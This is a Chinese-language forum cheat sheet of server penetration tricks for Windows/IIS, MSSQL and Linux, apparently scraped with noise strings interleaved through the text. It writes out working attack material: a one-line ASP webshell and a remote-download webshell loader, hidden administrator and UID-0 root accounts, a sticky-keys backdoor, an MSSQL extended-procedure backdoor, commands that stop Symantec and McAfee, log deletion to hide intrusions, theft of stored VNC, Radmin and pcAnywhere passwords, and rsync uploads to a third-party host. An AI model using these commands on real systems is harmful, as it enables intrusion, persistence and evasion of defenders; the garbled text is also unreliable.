渗透技巧总结

admin

旁站路径问题
( G, A% K% z8 W/ J$ r1、读网站配置。
# ], @+ _. a; k+ k  B/ y2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
! @& b6 c. b7 J% X' S! M
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
% d3 H$ A/ W, ?6 c% A0 U
% M8 O% ^- z4 i- _" z% X0 O3 d: nUsage:Cscript vWeb.vbs",4096,"Lilo"
% e$ j6 w1 `7 E$ O) T5 u        WScript.Quit
8 t; K8 s- W( C5 g, e' PEnd If
Set ObjService=GetObject
  f6 B0 L- U6 O5 ~/ G' `
8 ^/ n. S- J; d7 N% j+ x("IIS://LocalHost/W3SVC")
, b& Q2 A- @4 v$ `; T1 ]% sFor Each obj3w In objservice
8 q$ x8 Z; H; p, @+ A! a/ K6 I, @# u        If IsNumeric(obj3w.Name)

& k) h9 I5 L0 r0 gThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
0 o* M+ }) G: O
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
; i) R  X* M4 E                If Err
+ ?( s, N6 ]. E0 L1 K
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
6 ]% c4 o: m. ?6 ~6 P/ c
/ e8 w' \8 ^; A3 H9 J$ @% C) fOService.ServerComment & "]"
. ^0 o$ U- y7 m) a, c; D0 T4 Q                For Each Binds In OService.ServerBindings
     
9 e/ g1 W( @6 w; w% F$ X. r
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
  O9 \* J+ B# i" ]2 q- _                        
! S% y3 ]" o: k% c) R0 }
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
) ?* w- b3 b  D1 d1 t$ }                Next
2 q- ~, g7 y9 x$ V5 G3 u+ G      
0 q6 x; e; \1 N
         WScript.Echo "ath            : " & VDirObj.Path
, m3 I; |' K" l/ C' p: t5 z$ T        End If
Next
复制代码
8 @5 S- l7 {- f/ u- ?3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
+ F+ g2 S2 Y- U0 x0 K4 z: X6 ]phpMyAdmin暴路径办法:
2 a- p4 ~6 V, f7 @  FphpMyAdmin/libraries/select_lang.lib.php
1 W. S6 Y4 ?: W: q( g* O8 D- RphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
" c0 Z' S; ~' o. x( K3 c————————————————————
7 F& n# d9 B4 @1 l网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
' M- _, c" {4 u% k6 L" D% enetsh ras show user #查看哪些用户可以拨入VPN
  Q* Q! n) r, ]- Cnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
1 X: U' q. T% h8 I6 p- E1 T% e5 w. \netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
# h2 }+ h1 P6 R$ @! {4 o! B6 A————————————————————
0 Z/ _9 V  e, C1 e3 G$ |命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
) b$ V& z+ Q6 m3 Qexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
5 ^1 o* z9 K( q) ~0 Y6 c& v' {然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
! M7 w  y1 F/ Z$ ~5 _* G: F7 {# k$ }
: F+ \! d. O* _, {6 b- l& n另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
( q3 f) O/ ~4 M' k9 Q* hvar o=new ActiveXObject( "Shell.Users" );
! t- U7 J8 @5 Xz=o.create("test") ;
/ f: r5 {5 Z7 G  _# U! lz.changePassword("123456","")
: ?" ~+ S% h3 s2 X) t' {z.setting("AccountType")=3;

vbs:
* F! }3 P0 [( a2 M" VSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
$ N8 x  D1 G5 L8 N  tz.changePassword "123456",""
z.setting("AccountType")=3
7 F" I; t- U6 W0 [( K* O( ]——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
3 Z; [$ v; R& e# x$ ~) h
命令如下
# R1 c# V) @5 Qcacls c: /e /t /g everyone:F           #c盘everyone权限
0 g- l* g* ^+ A6 U  Fcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
9 d! e$ l+ M# y8 S" D, z6 n7 d1 Q3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
/ ]& e' H& y: |c、终端服务器超出了最大允许连接
, a  R- R4 ]+ ^0 a  s4 wXP 运行mstsc /admin
, G9 L3 y  Y  ]8 S$ j% B  p# K8 _2003 运行mstsc /console   

+ D- `9 p4 W! S4 O$ C6 _杀软关闭（把杀软所在的文件的所有权限去掉）
1 S3 O0 k4 C9 g4 T: B. a: O4 N处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
( ^1 M/ x+ B2 T( m( g" R  Inet stop "Symantec AntiVirus Definition Watcher" /y
3 b. q" j" t5 K# }net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

; R( Z: t. N# l( W; }( m7 e卖咖啡：net stop "McAfee McShield"
/ T# g8 }, d1 c* ~2 }- N3 T0 R7 P2 x————————————————————
' U& E+ t  Q5 q. Z' w* ?
# Z8 x, j/ X' }3 }5次SHIFT：
. f* j5 L! P' v" e/ w7 }) Acopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
% L1 L, e) [5 {8 Q; Bcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
  L- w3 A9 K  {. g* ~——————————————————————
! R( ^, _4 h, L# Q" ^隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
+ A, E% R. t9 i9 {9 t3 L- X2、导出注册表SAM下用户的两个键值
; b7 S) Y2 n# k# e+ {6 `+ E  s$ u1 Z3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
: z. I( m5 G. x0 o6 M; x* r, f  k4、利用Hacker Defender把相关用户注册表隐藏
: {! E  I' o4 j. R$ L. T1 S7 a4 r——————————————————————
MSSQL扩展后门：
  V7 [& V  x  d! ]# J7 z5 {USE master;
5 s# L1 O" {  l9 r! }EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
. g# _: m& d7 l1 YGRANT exec On xp_helpsystem TO public;
———————————————————————
" h, g/ L; n# l8 B! M8 v- }9 \" y日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
; H0 v. {& @3 s  r; |' D; ?ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
4 V% F, S# h5 v& m( C不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
; r5 ?1 p2 C) H+ S" V- ^当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
: w: A& `; B, e$ T( EMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
- d8 i5 }" }- t5 P, \9 _找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
9 G3 d2 r& C  V+ u. _1 h7 R# ^
Server\90\Tools\Shell\mru.dat
, E# I! w7 \4 }/ w—————————————————————————
# M1 D+ ^# L! g# S; S9 S防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

, E6 ~5 K4 M- H  b' d<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
6 I  y* [- t9 m% q: p4 j2 u% RSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
' K  D8 y' J0 X1 {7 L+ q( vWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
% K6 L! Z, w( n. y& ~.Send
7 o  w; {  X9 |8 x4 wGetRemoteData = .ResponseBody
# ?8 h  k7 v) v# {2 mEnd With
0 c: D! L9 S! K0 o5 ~1 WSet Retrieval = Nothing
& v1 p' W% H3 [  A- C, KSet Ads = Server.CreateObject("Adodb.Stream")
3 T$ a2 z0 ?. ^. u/ bWith Ads
1 w" w# n6 u' n, p* ].Type = 1
.Open
( e$ Y6 S' {! Y. j" L) o.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
7 M: m! ?3 m  L. |.Close()
: R. C( c4 p+ t; L2 aEnd With
3 x, Q2 m: `3 K  W& c% S" d* QSet Ads=nothing
" Q8 E7 V' g) K1 n" k- WEnd Sub
4 t/ y+ t0 w' o) A
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
/ r1 U7 z$ w" c( o. O
2 h7 b, Q/ \2 \0 e- JVNC提权方法:
( N7 D  c6 H7 t" t利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
- T* s, l8 C3 x% y7 v, `regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
4 O- V# r  b6 a+ F/ {1 o4 |HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
! o: F8 r% N! _' ]+ k/ k然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
! M& d: y- H- A' H6 nUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
) ?3 n! ]2 z, d! t& ?& V搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
  @' H7 h$ j+ YWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
+ d% a9 s7 F3 S7 h3 P+ m( K# h没有删cmd组建的直接加用户。
6 C2 w' T( P  k1 r7i24的web目录也是可写，权限为administrator。
; d- N) g- k! B
, U. P9 M' e" f  K. x& g; P: |" W" z( Y1433 SA点构建注入点。
' B, }5 v& u% m6 N<%
5 d# w9 n8 a5 r- K& W6 qstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
5 k7 [& P8 \) V7 ?" e+ xstrSQLDBPassword = "数据库密码"
. t3 K9 Q8 Q. K2 {7 [" z3 ~strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
  J/ t7 k  P4 k0 |* ^: v
% I) Y4 _  \5 S";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

4 \& I# P& Q) J3 I+ M3 H  ostrSQLDBName & ";"
conn.open strCon
' `: B) J/ f" y! |6 u9 b  |dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
+ e' h# b& u' m% o1 k  Y( k& I! tid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
( R* T7 \0 f- n2 _( ]rs.close
%>
复制代码
******liunx 相关******
; i5 H0 S0 t, s一.ldap渗透技巧
' `- E5 q5 e; a, d% O7 E& f) n1.cat /etc/nsswitch
. }  G2 a2 o  A  m3 R4 p2 w6 j& j看看密码登录策略我们可以看到使用了file ldap模式
% {  w* B; }2 t5 W7 ^0 G2 f
) i% l% J1 {  b9 N2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
, Y6 N3 f3 V9 Q6 k找到ou,dc,dc设置
4 y3 E% t# D3 n9 q- X  w* h
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 W* u! X' [( z. n+ @" Z有密码形式
% v/ q. q/ [5 }% f( m3 R0 ]6 W1 ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

$ V/ G4 @2 T& j) u* P9 e" b5 W% @"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
9 X, }, I7 L4 M5 e" a) H

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
; P3 ~# d& n0 E" j! Y1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
# h) Z+ Q+ s* b5 {  k# h# c
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

! _$ V) t/ G% p# _& `8 u  s3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 A% ~$ V# d! W( q1 v
0 [; ~6 `* d/ ?" h+ g! V"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( n* J7 z1 l# s

* k0 _, q0 e9 L" T9 I: _4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ y/ Q/ S/ q& Y- S% n
渗透实战:
1.返回所有的属性
3 P3 g2 G  ^, S- Xldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
/ o7 t9 ?5 x" o: T8 Q3 Hversion: 1
dn: dc=ruc,dc=edu,dc=cn
4 d! W* Z: e' udc: ruc
; W$ ^8 N5 P5 ]objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
" A. Z- X5 W9 @) o" X: N" SobjectClass: inetOrgPerson
objectClass: organizationalPerson
4 ?! u7 _; B% k/ l/ d+ Y. D9 s. qobjectClass: person
/ w7 w8 A9 n4 X+ J9 hobjectClass: top
sn: manager
; v3 G+ X7 R8 L( icn: manager
) W( y- d& ^- r, q) ]+ h
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
# l$ y; R8 `8 k; RobjectClass: organizationalPerson
objectClass: person
5 ]4 J- Z$ O- y& K/ a- Z. \objectClass: top
1 r/ w5 v  G  C! ^0 [5 Q) B+ R4 @# wsn: superadmin
cn: superadmin
: L$ R6 r# g5 q: _9 `& i! G+ h2 l* F
! ]3 d  l# ]5 E4 P0 K  ]dn: uid=admin,dc=ruc,dc=edu,dc=cn
2 e! t9 E. t# M" ~6 G) huid: admin
  {+ {5 B& y0 sobjectClass: inetOrgPerson
objectClass: organizationalPerson
5 j- @7 v* P0 U! B; nobjectClass: person
objectClass: top
sn: admin
( d- P. g2 E" ^! y7 kcn: admin

; v2 ~3 U, B# v1 Edn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
- A0 B1 e9 r0 p% MobjectClass: top
9 c1 _7 g' m& b! vobjectClass: person
9 y8 F6 z: R, }9 R6 Q) BobjectClass: organizationalPerson
3 _  E. r" I+ q7 F. l+ ^5 wobjectClass: inetOrgPerson
sn: dcp_anonymous
" N' O6 A% }$ q; l/ L+ ]3 rcn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
. N+ }, G4 X3 Q  C0 vdn: dc=ruc,dc=edu,dc=cn
/ t+ Z8 h& L, [1 w$ k$ a' V1 hdc: ruc
objectClass: domain

3.查找
+ x) Y3 ^  v2 i9 |& Ibash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
3 O; T( @9 r8 b) s7 u: f* l5 bversion: 1
4 M' `! H1 `' K, xdn:
9 A- U6 F. ]7 I7 N  OobjectClass: top
: H6 n, a1 u  c7 i; h5 _namingContexts: dc=ruc,dc=edu,dc=cn
# o) U( @& t; OsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
' K7 e1 H( l, F" l9 L/ T: o+ n2 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
) _$ q' f) v3 G% j4 hsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
# M2 B: S: A, ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
4 J: @7 z+ Y% b  m: |  ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
# I1 a) j6 R9 f4 l/ K" B- W& osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
$ a" _1 T3 I3 U6 {% l3 {. ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
7 G/ W! H9 Y5 e+ p- LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
: |8 H! H6 f2 X) I* ?0 ~5 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
- M$ ~/ k- c+ s2 \0 R4 D# dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
+ y% F6 a/ {+ l: r: MsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
9 n6 V/ W  O- E% |3 j) Z1 r7 H$ I' lsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
3 w8 Z% O( B- n$ _supportedControl: 2.16.840.1.113730.3.4.15
; f0 ~( K7 f5 f! A$ l2 MsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; u5 I3 o1 t/ R5 f) wsupportedControl: 2.16.840.1.113730.3.4.14
5 ~( v* B6 Q( A& K9 ]supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
; m; d$ D$ G7 osupportedSASLMechanisms: EXTERNAL
0 ]( j$ ^- ]9 a9 J8 ~! h- PsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
$ X' c4 v, J& N. `  _2 Ndataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
; X2 u6 Y9 d: `. WsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
* i& d  z. s3 T) j& v! O- msupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
9 z- U% U1 d2 \4 U* M+ zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
& Y9 h7 T7 K) S6 u7 GsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
' x4 V' {" `8 p. H+ V& F3 R: MsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
+ S: S+ F$ a( n" a5 j+ o/ JsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
8 B) T7 p& e# f) I! Q* b& jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
3 B* g( r: v% a; s3 M' lsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
! r3 a% d" \; E* jsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
( o$ |% {, }! ssupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
7 w" Z8 C; j! N0 `. J) N' ksupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
1 `1 z  o; x, c; x: V5 u- hsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
9 s) Y# k7 R9 F9 B8 P5 Q0 csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
  t9 S" n3 G7 M& I# W2 D9 hsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
+ z1 [7 F% ?( b# z" IsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
  n6 n+ ~3 t3 _3 \* e/ }9 msupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
+ S3 G1 }5 p6 JsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
; X" D2 M; b# p: z1 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
! Y: g' x5 t, F: X; u* BsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
$ a/ V3 j! j4 R$ j: v% |supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
) s% F4 p3 C" YsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
- o% h* M& o& F. Y4 v/ ~& WsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
9 O* J' g+ D3 K4 A7 O! }: `supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
; d2 M- G4 D+ L2 ]7 P( w  PsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
# {" C& r% k5 EsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
: k. |1 A7 f3 a6 R: rsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
; o: s8 p0 a# Q7 r. N3 R$ Y4 GsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
+ V2 H2 B6 |/ m- @' OsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
4 |8 G, C+ ^0 _: e: W0 t* ysupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
2 F7 r3 Y5 O" y0 N8 rsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
8 t2 Z; j% W. Y# o0 H4 [————————————
& L! x  B8 t7 Z- Q- N, ~/ n7 Y2. NFS渗透技巧
8 |/ S4 u" ]2 S, Y4 yshowmount -e ip
! o$ S9 f& R8 b9 ^/ K# N* i列举IP
% z/ k# @' _; I0 r0 c9 b——————
0 c* Y5 u$ e: ]' L3.rsync渗透技巧
( w) I5 e/ M' B) {8 \1.查看rsync服务器上的列表
5 _4 g" ]- w3 V8 _! U; ]  Frsync 210.51.X.X::
; |! V) t4 T* R/ D6 kfinance
% v: G4 z, ?7 R; @3 E  ~img_finance
; P' f' [7 d  N/ U' ~7 hauto
, f& ^5 l. z+ s/ r- Wimg_auto
html_cms
& E" I8 u- Z7 Y- |7 P: Fimg_cms
0 ?+ i8 c& c' `. e  p& v, m! Qent_cms
ent_img
2 [# q4 a0 w' l8 H* y( P7 `0 n# z' nceshi
res_img
res_img_c2
( }! s2 F; m- s2 L  p+ C2 Achip
chip_c2
* a. m  P1 P1 F& {: L% e+ Fent_icms
+ E* m8 }& C8 ^$ m3 Wgames
gamesimg
% |# ?$ P, [: b. U# s# Q2 Bmedia
mediaimg
fashion
9 B- H/ c, g4 }' \1 G5 o* d- I" {res-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
res-news
& D  X  T0 h$ c/ c4 d6 xres-phtv
res-media
home
edu
news
res-book

0 J$ q" G; j' V( X9 D  C看相应的下级目录(注意一定要在目录后面添加上/)

. Q8 o2 H* P) r, e0 c, d; J
. N7 F0 p! H3 `5 G8 p0 srsync 210.51.X.X::htdocs_app/
/ @) z/ M1 h+ m0 G3 O+ drsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
; l8 |6 c( ~1 d: [6 W8 r
  _; r+ F: C$ b8 D/ K+ O) n" m2.下载rsync服务器上的配置文件
, S+ F$ l& ^! n/ m% j8 }' srsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
* c5 B  i* D# u3 Y" B; }" h* _rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
$ e0 k/ b! I& m& S
# }# m. {  V  V6 W四.squid渗透技巧
' g9 g7 Y3 D5 k3 t! hnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
! \$ Z* p# R; f3 P( tGET HTTP://WWW.sina.com:22 / HTTP/1.0
% S9 w0 P* V( D五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
' ?* ?4 {6 l  V, `+ V0 K5 @" V
六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
7 K1 ]2 @; P4 K! {% t
15&catid=32:languages&Itemid=47
0 l. V! p8 A' `+ A8 I
/ |$ j0 m) }: Z/ k1 P# u, ~, ]重新设置密码
9 o. G8 \, z; y4 c. L+ t, bindex.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
' z/ k% q, k  t' Q) D- C$ `8 juseradd -o -u 0 nothack
2 w3 I* I8 m+ ]6 T3 i
八.freebsd本地提权
